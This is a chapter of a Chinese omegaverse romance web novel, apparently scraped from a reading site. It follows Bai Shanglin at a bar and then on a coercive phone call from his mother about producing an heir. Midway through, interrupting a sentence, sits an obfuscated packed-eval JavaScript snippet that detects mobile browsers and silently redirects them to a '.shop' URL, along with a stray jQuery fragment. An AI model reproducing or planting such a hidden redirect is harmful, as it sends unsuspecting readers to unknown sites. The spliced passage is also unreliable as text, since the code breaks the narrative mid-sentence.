或许是酒精的作用,他不再嘴硬,雌雄莫辨的漂亮五官透出几分委屈,一脸低迷:“她不仅不道歉,还嫌我管得宽,生上我的气了,哪有这样的道理?” 柏商霖目睹他脸上的挣扎痛苦,语气理智得近乎冷酷:“早跟你说过,炮.友转正没有好结果,你不听。” “谁沉沦得更早更深,谁更容易受伤。很显然,顾修程,你是输的一方。” 顾修程脸色白了白。 他何尝不清楚,在这段扭曲的关系中,他入戏更深、沉迷更深。 “你一向聪明,当断则断,对你最好。”柏商霖说完,便准备离开。 他很少对别人的感情发表意见,只是最近两年,顾修程深陷泥沼,患得患失。当局者迷,身为朋友,他提醒两句,至于顾修程会怎么做,那是他的事。 明知故犯,求而不得,实非智者所为。 刚站起来,一个服务员打扮的人走到他面前,将一杯眼熟的莫吉托放到桌上:“您好,这是木棉新调的莫吉托,她请您喝。” 说完,她便离开了。 柏商霖顿在原地,眉梢高高扬起,半晌,他喝了一口。 ——甜润可口,又不失清爽,全无上一杯的苦涩。 他自认喝酒时并没有表现出喜恶,往常也从未有人能知道他真正喜欢吃什么、不喜欢吃什么。 没想到,木棉发现了。 柏商霖一饮而尽。 冰凉的酒液顺着喉咙滑下,发热的腺体仿佛也受到了某种安抚,趋于平静。 顾修程看在眼里,他很快明白过来,神情怔愣,迟疑着问出口:“……所以,她刚刚突然跑走是去给你重新调酒?你不喜欢刚才的那杯?” 柏商霖不置可否。 他将空了的酒杯放下,口中清冽甘甜的香味迟迟不散,顺着喉咙浸润到体内。 柏商霖眉头舒展,朝顾修程挥了挥手,转身离开。 走之前,他余光瞥了眼吧台的木棉。 小姑娘正一脸认真地工作,笑眯眯地跟客人聊天,看不出丝毫紧张无措的痕迹。她适应得很好,看来也很喜欢调酒师的工作。 柏商霖掏出手机,给季曜打了个电话。 沙发上只剩下顾修程一人,他满脸茫然。 柏商霖才认识木棉,为什么这么了解她,那种旁人难以介入的默契……让他眼红。 像是寻找认同,他又看向季曜。 不知什么时候,他坐到了沈茉莉旁边,两只手缠在沈茉莉腰间,任由她摸他头发。两人举止亲密,Alpha桀骜不驯的脸上,竟露出温驯的笑,张嘴轻咬Beta的手指。 在沈茉莉面前,季曜变得不像季曜。 顾修程收回视线,烦躁地抓了抓头发,半晌,他拿起车钥匙离开。 不就是服个软吗? 季曜那头狼崽子都能做到,他做不到? 酒吧外。 此时正是夜间最热闹的时候,道路两侧的人行道上挤满了人。 柏商霖寻了个人少僻静的位置站定,想来冰冷严肃的脸上难得染着笑意。 他再次摸向后颈确认,覆盖在腺体上的纱布纹丝不动,温度也有降低的趋势。看来顾修程这次研制的缓释剂效果不错。 没有木棉信息素的吸引,估计腺体很快就能恢复正常。 今晚喝了酒,不能开车,他解锁手机打算叫个代驾。 人脸识别过后,微聊消息提醒不断闪烁,手机震动个不停。 柏商霖皱眉,点进去还没来得及看,又一通电话打来。 ——母亲。 脸上的笑意不知何时消失了,他绷着脸握着手机,迟迟没动,既没有接听,也没有挂断。 响了大概一分钟,电话自动挂断。 尚未来得及喘息,手机再次震动起来。 来自同一个联系人。 心知不接的话,这通电话会持续不断拨到明天上午。接着,他会在公司办公室看到他的母亲。 柏商霖捏了捏眉心,在即将自动挂断的前一秒点了接通。 “小霖。” 和他预估的歇斯底里不同,尹姝今天的语气格外温柔,多年未曾听到的称呼从她口中吐出,柏商霖一怔。 他默了默,没出声,握着手机的手不由自主捏紧。 尹姝习惯了他的冷淡,耐着性子问他吃饭没有,工作忙不忙,要注意身体,常回家看看…… 柏商霖安静听着,手指渐渐松开,表情逐渐变得冰冷。 他打断了她突如其来的关心,冷声问:“你想说什么?” 电话那边安静了片刻,他听到椅子被推开的声音,尹姝似乎走到了某个安静的角落,听筒里渐渐只剩下他们彼此的呼吸声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127646|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小霖,妈妈知道你前几天和老爷子吵架,闹得很难看。”尹姝的说话声和刚才一样柔和,在柏商霖听来,却平静得有些瘆人,“但是没办法,他是董事长,是我们柏家的家主,他大权在握,你没办法抗争的。” 打火机的声音从电话另一头响起。 柏商霖似乎也闻到了一股呛人的烟味,他听着他的母亲用冷静的口吻说,“你既然分化成了Omega,就要接受Omega的命运。妈妈也是这样过来的,不是吗?” “Alpha和Omega是不一样的,在豪门显贵中,这种生理差距会更明显。小霖,你已经感受到了对吗?”尹姝叹了口气,语气充满了怜悯,“你是柏家的二少爷,更是柏家的Omega,小霖,传宗接代是你的宿命。” “生个继承人,只要生出一个Alpha,你就可以名正言顺地接任董事长的职位。这是你一直以来的目标,对不对?” 柏商霖脸上没什么表情,听到她这样说,他甚至都没有和往常那样动怒。 他只是转了个身,目光虚虚地看向酒吧大门,似乎想要透过那扇拱形门看清什么。 “小霖,妈妈帮你挑了几个Alpha,已经微聊发给你了。”尹姝的声音变得有些模糊,“他们和你的信息素匹配度都不低,只需要几个晚上,你就可以实现爸爸妈妈的期望,是吧?” 柏商霖仍然没有出声,尹姝也不恼,平静地威胁道:“小霖,你学过法律,知道父母的监护权很重要,对不对?你也不想跟父母在法庭上见面,对不对?” 她的声音越来越遥远,温柔的嗓音里冷冰冰的寒意却顺着网线渗出来。 先礼后兵,棉里带刺,她惯常的套路了。 柏商霖冷笑一声,直接挂断了电话。 他站在原地静了片刻,打开手机,尹姝发过来的照片看都没看,直接清掉。 界面的红点消失,他舒服不少,接着给温言打了个电话,吩咐了几句,让他开车过来接他。 二十分钟后,温言气喘吁吁跑过来:“柏总,这里太堵了,车子只能停在旁边的……” 柏商霖嗯了声,没在意,接过他提着的文件袋,简洁命令:“带路。” 一边走,他一边看文件。 难怪她的母亲突然给他打电话,原来他那个不争气的父亲又搞砸一个新项目,惹了老爷子不悦,家里战战兢兢,她又想通过他去讨好老爷子了。 三两下扫完,他冷嗤一声。 开门上车,柏商霖摘掉眼镜,语气冷得像淬了冰渣:“收回监护权,现在成功的概率有多大?” 温言坐上驾驶位,很快回:“秦律师说,不足三分之一。” “您成年前接受的教育、受过的抚养,资金都来自他们。按照法律标准,他们属于尽职尽责的榜样父母,没有可以指摘的地方。”温言看了眼柏商霖,小心补充,“秦律师说,除非您能找到他们犯下大错的证据,否则很难办。更何况,您现在没有完全掌握集团,董事长一旦察觉出什么,他完全可以拦下您的所有法律资源。” “他建议您先保守些,不要太着急。至少,先解决任总的掣肘,”温言犹豫了一下,还是决定把话说完,“如果能跟老爷子和平相处,争取更多时间,自然更好。” 良久,柏商霖嗯了声,表示自己知道了。 温言深呼吸,暗道豪门复杂。见老板没有别的吩咐,便发动车子离开。 谁知刚走了不到五分钟,柏商霖忽然开口,叫住他:“……这个名片,你交给木棉。” 哐当一声,车子猛地停住。